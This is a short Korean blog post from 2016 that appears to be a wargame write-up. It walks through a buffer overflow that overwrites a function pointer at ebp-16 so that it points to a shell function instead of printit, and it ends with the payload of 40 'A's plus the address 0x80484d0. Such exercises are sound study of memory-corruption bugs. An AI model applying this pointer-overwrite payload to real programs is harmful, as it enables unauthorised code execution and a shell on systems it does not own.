sonysame 2016. 10. 12. 15:18


버퍼오버플로우!


call은 함수포인터이다.

call 이 printit을 가리키는 것이 아닌 shell함수를 가리키게 하자!



printit함수와 shell함수가 어디에 위치하는지 확인


0x0804851e <main+6>:    movl   $0x8048500,0xfffffff0(%ebp)

이므로 ebp-16에 printit이 아닌 shell을 넣기 위해

ebp-16에 0x80484d0을 넣는다.




ebp: 0xbffff6f8


ebp-16-> 0x80484d0


fgets 시작부분: 0xbffff6c0


A*40+0x80484d0